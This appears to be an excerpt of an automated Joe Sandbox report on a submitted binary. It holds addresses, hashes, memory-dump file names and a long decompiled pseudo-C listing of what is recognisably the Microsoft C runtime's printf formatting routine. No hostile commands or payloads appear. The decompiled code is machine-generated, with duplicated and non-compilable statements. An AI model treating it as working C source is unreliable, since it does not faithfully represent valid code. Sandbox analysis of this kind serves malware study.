0x00434fa1
0x00000000
0x00000000
0x00000000
0x00434fa1
0x00434f93
0x00434ed3
0x00434ed3
0x00434eda
0x00000000
0x00000000
0x00000000
0x00434f08
0x00434f08
0x00434f0e
0x00434f14
0x00434f1a
0x00000000
0x00434f1a
0x00434dea
0x00434da1
0x00434d8b

APIs

_get_int64_arg.LIBCMTD ref: 00434DF8
__aullrem.LIBCMT ref: 00434FC5
__aulldiv.LIBCMT ref: 00434FE7

Strings

0, xrefs: 00434DB3
9, xrefs: 00434FF8

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction ID: 961bfbfb8db08e31f3bd9c5db583fab5455c3bc59bec297c045cd99f50602dc0
Opcode Fuzzy Hash: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction Fuzzy Hash: 3A41E471D15229DFDB24CF58C889BEEB7B5BB89304F1491DAE419A7240C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004279B5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E004279B5() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428170(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428170(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E00428080(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004280C0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E00428080(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004280C0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E00434010(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E004280C0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E00428080(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C1C0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00427ED8))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E00431000( *(_t524 - 0x251) & 0x000000ff, E0041AAD0(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00427FE0( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00427FE0( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E000();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00422AF0(_t509))) = 0x16;
																		E00422880(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041AAA0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x427f10; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00427EF8))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x427f38; // 0x77ef9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00427F24))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x427fa4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00427F68))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E00428150(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041AAD0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
